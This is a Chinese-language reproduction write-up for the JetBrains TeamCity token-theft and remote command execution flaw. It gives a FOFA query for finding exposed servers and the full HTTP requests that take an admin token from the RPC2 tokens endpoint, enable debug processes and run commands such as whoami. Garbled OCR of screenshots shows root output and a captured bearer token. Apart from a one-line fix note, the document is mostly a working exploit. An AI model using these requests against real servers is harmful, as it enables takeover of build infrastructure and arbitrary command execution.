J3-2JetBrainsTeamCity-RCE

漏洞描述:

JetBrains TeamCity 可通过访问 /app/rest/users/{{id}}}/tokens/RPC2 端点获取对应 id 用户的有效 token,携带 admin token 访问受限端点导致远程命令执行或创建后台管理员用户。

影响版本:

TeamCity On-Premises version < 2023.05.04

网站图片:



网络测绘:

fofa语法:

FOFA: body="Log in to TeamCity"

漏洞复现:

获取id为1用户的tooken

POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Content-Length: 0

```
Responses 230bytes / 642ms
Request
        POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
                                                                                                                                          HTTP/1.1 200
 1
       Host 2: 5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
                                                                                                                                          Server: nginx/1.22.1
                                                                                                                                          Date: Mon, 04 Dec 2023 06:17:07 GMT
        Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                          Content-Type: application/xml
Connection: keep-alive
        Accept-Encoding: gzip
        Content-Length auto: 0
                                                                                                                                          TeamCity-Node-Id: MAIN_SERVER
                                                                                                                                          Cache-Control: no-stor
                                                                                                                                          Content-Length: 230
                                                                                                                                          <?xml·version="1.0" encoding="UTF-8" stand
creationTime="2023-12-04T06:17:07.271Z" va
Y3R2amZnc3B2UW5iTVN2V1UtaXd1a310TH00.NDc4N</pre>
                                                                                                                                   10
```

携带tooken修改配置,启动debug模式

POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true HTTP/1.1 Host: your-ip Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Authorization: Bearer 用户token
Content-Length: 0

```
Responses Obytes / 466ms
   Request
          \textbf{POST} \cdot / \texttt{admin/dataDir.html?} \textbf{action} = \texttt{edit\&fileName} = \texttt{config/internal.properties\&} \textbf{content=rest.debug.}
                                                                                                                                 HTTP/1.1 · 200
                                                                                                                                 Server: nginx/1.22.1
Date: Mon, 04 Dec 2023 06:19:02 GMT
          processes.enable=true HTTP/1.1
          Host 🖪
                                                                                                                                  Content-Type: text/plain
          Accept-Encoding: gzip
          User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
                                                                                                                                 Connection: keep-alive
          Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                 TeamCity-Node-Id: MAIN SERVER
          Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.Y3R2amZnc3B2UW5iTVN2V1UtaXd1a310THo0.
                                                                                                                                 Cache-Control: no-store
          NDc4NDZmM2EtNTk5Yy00ZGEzLThjMDAtMmQ0YzQyN2M5Nzgy
                                                                                                                                 X-Content-Type-Options: nosniff
          Content-Length auto: 0
     8
          ı
命令执行
POST /app/rest/debug/processes?exePath=whoami HTTP/1.1
HOST: YOUT-ip
Authorization: Bearer 用户token
Accept-Encoding: gzip
Vesr-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 0
                                                                        〈 〉 数据包扫描 热加载 构造请求 💱
                                                                                                                        Responses 188bytes / 643ms
 Request
                                                                                                                                HTTP/1.1-200
   1
        POST /app/rest/debug/processes?exePath=whoami HTTP/1.1
                                                                                                                          1
                                                                                                                                Server: nginx/1.22.1
         Host
         Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.Y3R2amZnc3B2UW5iTVN2V1UtaXd1a310THo0.
                                                                                                                                Date: Mon, 04 Dec 2023 06:20:54 GMT
         NDc4NDZmM2EtNTk5Yy00ZGEzLThjMDAtMmQ0YzQyN2M5Nzgy
                                                                                                                                Content-Type: text/plain; charset=utf-8
Connection: keep-alive
         Accept-Encoding: gzip
         User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
                                                                                                                                TeamCity-Node-Id: MAIN_SERVER
         Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                Cache-Control: no-store
                                                                                                                                Content-Length: 188
        Content-Length auto : 0
                                                                                                                          10
                                                                                                                                StdOut:root
                                                                                                                          11
                                                                                                                                StdErr: ERROR: ld.so: object '/dev/shm/lib
                                                                                                                                preloaded (failed to map segment from shar
PS: 执行带空格的命令,需要加上Params字段,如下
                                                                             > 数据包扫描 熱加载 构造请求 

以
                                                                                                                         Responses 854bytes / 368ms
  Request
                                                                         <
         POST / /app/rest/debug/processes?exePath=ls&Params=/root HTTP/1.1
                                                                                                                           1 HTTP/1.1 · 200
                                                                                                                                 Server: nginx/1.22.1
         Authorization: Bearer evl@eXAiOiAiVFNWMil9.Y3R2am7nc3B2UW5iTVN2V1UtaXd1a310THo0.
                                                                                                                                Date: Mon, 04 Dec 2023 06:24:07 GMT
    3
         NDc4NDZmM2EtNTk5Yy00ZGEzLThjMDAtMmQ0YzQyN2M5Nzgy
                                                                                                                                 Content-Type: text/plain; charset=utf-8
         Accept-Encoding: gzip
                                                                                                                                 Connection: keep-alive
         User-Agent: 'Mozilla/5.0' (Macintosh: Intel Mac OS X 10 14 3) AppleWebKit/605.1.15' (KHTML, like
                                                                                                                                 TeamCity-Node-Id: MAIN_SERVER
         Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                Cache-Control: no-store
         Content-Length auto: 0
                                                                                                                                 Content-Length: 854
                                                                                                                          10
                                                                                                                                StdOut:append.bat
                                                                                                                                 bootstrap.jar
                                                                                                                          11
                                                                                                                          12
                                                                                                                                catalina.bat
                                                                                                                          13
                                                                                                                                 catalina.sh
                                                                                                                                 catalina-tasks.xml
                                                                                                                          15
                                                                                                                                 commons-daemon.jar
                                                                                                                          16
                                                                                                                                 commons-daemon-native.tar.gz
                                                                                                                          17
                                                                                                                                 configtest.bat
                                                                                                                          18
                                                                                                                                 configtest.sh
                                                                                                                          19
                                                                                                                                 daemon.sh
                                                                                                                                 digest.bat
                                                                                                                          21
                                                                                                                                 digest.sh
                                                                                                                                 findJava.bat
                                                                                                                          22
                                                                                                                                 findJava.sh
                                                                                                                          24
                                                                                                                                 maintainDB.cmd
                                                                                                                          25
                                                                                                                                 maintainDB.sh
                                                                                                                                 unAll.bat
                                                                                                                                  unΔ11 sh
```

修复建议:

更新JetBrains TeamCity并审查访问控制,防止通过/app/rest/users/{{id}}/tokens/RPC2端点的未授权访问和潜在的远程命令执行风险。